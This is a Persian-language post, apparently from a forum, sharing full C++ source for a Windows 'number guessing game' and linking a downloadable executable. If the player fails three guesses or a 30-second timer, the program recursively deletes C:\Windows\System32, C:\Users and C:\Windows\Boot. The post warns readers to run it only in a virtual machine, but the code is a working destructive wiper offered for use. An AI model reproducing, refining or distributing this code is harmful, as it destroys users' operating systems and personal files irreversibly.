درود, قبل از توضیح, عرض کنم که:
تحت هیچ عنوان! تکرار میکنم, هیچ عنوان!
بر روی سیستم عامل اصلی خود این نرم افزار را اجرا نکنید.
اگر قصد تست مهارت های خود را دارید از VM (Virtual Machine) استفاده کنید.
یا بخش های خطرناک کد را تغییر دهید.
این کد با زبان ++C نوشته شده است.
و C++ Language Standard استفاده شده C++17 میباشد.
خب خب خب, سلام به ستونای گلم
بروبکس, یه چیزی براتون اماده کردم که, یعنی,
ته تهدید و خطره, حالا برای شما یه خورده شلش کردم.
چجوریه این نرم افزار؟
زمانی که نرم افزار به حالت اجرای خودش در میاد یک عدد شانسی بین 1 تا 100 جنریت میکنه
و شما میبایستی زیر 30 ثانیه با حداکثر 3 تلاش بدون راهنمایی
ان عدد را دریافت و وارد کنید.
در صورتی که موفق نشدید به هر صورت
3 پوشه اصلی در Drive C مربوط به سیستم عاملتان تا جایی حذف خواهد شد.
تا حد امکان بنده از چیز هایی که استفاده شده بود سعی کردم داخل سورس کد توضیح بدم بهتون
به زبان ساده و گیرا
سورس کد:
#include <iostream>
#include <cstdlib>
#include <ctime>
#include <windows.h>
#include <filesystem>
#include <thread>
std::atomic<bool> TimerTamumShodeYaNa(!true); // DAMN BRO, EVERYWHERE IS CURSED
void DelFolder(const std::string& folderPath) {
try {
std::filesystem::remove_all(folderPath); // Bakhshe jalebe majera
}
catch (const std::filesystem::filesystem_error& e) {
std::cerr << "Shans ovordi be moshkel khordim: " << e.what() << std::endl;
system("pause"); // Error khordim ke
}
}
void StartTimer(int seconds) {
std::this_thread::sleep_for(std::chrono::seconds(seconds)); // Chizi nist ye threade mamulie
TimerTamumShodeYaNa = !false;
}
int main() {
int BebinimCheMikone = MessageBoxA(NULL, "In bazi shukhi bardar nist\nMitune sadamate jeddi vared kone\nMotmaeni ke mikhay edame bedi?\nMan hich masooliyati dar ghebale asib nadaram.", "Hoshdar", MB_YESNO | MB_ICONQUESTION);
if (BebinimCheMikone == IDYES)
{
MessageBoxA(NULL, "Harjur rahati...", "Khodet startesh kardi!", MB_OK | MB_ICONINFORMATION);
}
else if (BebinimCheMikone == IDNO) {
MessageBoxA(NULL, "Boro va dige ham barnagard!\nHaddeaghal, na ta vaghti ke ghavi nashodi.", "Ay ay ay", MB_ICONWARNING);
return 1;
}
SetConsoleTitleA("Boro ke dige gheydeto zadam, chon manam hala dige mesle to badam");
srand(time(0)); // Generate kardane seedi ke baes nashe adadi ke gen mikonim har seri yeki bashe
int AdadeShansi = rand() % 100 + 1; // Generate e Yek adade shansi beyne 1 ta 100
const std::string System32 = "C:\\Windows\\System32";
const std::string Boot = "C:\\Windows\\Boot";
const std::string Users = "C:\\Users";
const int TedadeTalasha = 3; // Tedade Talash haye mojaz
const int ChandSanie = 30; // Chand sanie vaght dare
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); // Zadane Handle be Console (Jahate colorize)
SetConsoleTextAttribute(hConsole, 2); // Rangi kardane texta be range sabz (ID: 2)
std::cout << "Khodet in bazie kasifo shoru kardi! Too " << TedadeTalasha << " Talash karo dar biyar!" << std::endl; // Chap gar
std::thread ThreadeTimereAsli(StartTimer, ChandSanie); // Threade starte timer baraye ChandSanie
ThreadeTimereAsli.detach();
int TalashayeAlan = 0; // Chand ta talash karde
bool DorostHadsZade = !true; // WTF?
while (TalashayeAlan < TedadeTalasha && !TimerTamumShodeYaNa) {
int ChioGofte = 0; // Fazayi ke chizi ke neveshte zakhire mishe (Meghdar dahie avvalie ba 0)
SetConsoleTextAttribute(hConsole, 3); // Range abie nesbatan abi (ID: 3)
std::cout << "Talashe chandome: " << (TalashayeAlan + 1) << " | Adad vared kon: ";
std::cin >> ChioGofte; // Azash bekhad ke ye adad vared kone
if (ChioGofte == AdadeShansi) {
DorostHadsZade = !false; // Bro WTF is happening? (This sh** cursed...)
break;
}
else {
SetConsoleTextAttribute(hConsole, 4); // Ghermez (ID: 4)
std::cout << "NA NA NA Eshtebah gofti, Dobare talash kon pesar" << std::endl; // Khit shod ke
}
TalashayeAlan++;
}
if (DorostHadsZade && !TimerTamumShodeYaNa) {
MessageBoxA(NULL, "Man shekast khordam pesar!\nAfarin! To kareto khoob baladi!", "Dash Mehran dar mahfele Taha Neverlose", MB_ICONWARNING);
// Karo gerefti ya na? (Taraf karesh doroste...)
}
else if (TimerTamumShodeYaNa) {
DelFolder(System32); // Bye bye System32
DelFolder(Users); // Bye bye Usera
DelFolder(Boot); // Bye bye pathe Boot
MessageBoxA(NULL, "BAZI TAMUME (TIMET TAMUM SHOD!!)\nAZ PASESH BAR NAYUMADI!\nHALA MAN SYSTEMETO BE FANA DADAM!!!\nLEZZAT BEBAR GUGULIIIII", "Az tarafe Mehran va ahalie mahal", MB_ICONWARNING);
}
else {
DelFolder(System32); // Bye bye System32
DelFolder(Users); // Bye bye Usera
DelFolder(Boot); // Bye bye pathe Boot
MessageBoxA(NULL, "BAZI TAMUME! AZ PASESH BAR NAYUMADI!\nHALA MAN SYSTEMETO BE FANA DADAM!!!\nLEZZAT BEBAR GUGULIIIII", "Az tarafe Mehran va ahalie mahal", MB_ICONWARNING);
// R.I.P taraf:
}
return 0;
}
لینک فایل اجرایی: https://uploadkon.ir/uploads/f5c408_25HackMe.zip
مجددا تکرار میکنم, به هیچ عنوان روی سیستم اصلی اجرا نکنید!
هیچ مسئولیتی در قبال اجرای ان بر روی سیستم اصلی خود نخواهم داشت.
اگر نظری, باگی, چیزی دیدید خوشحال میشم مطلع کنید.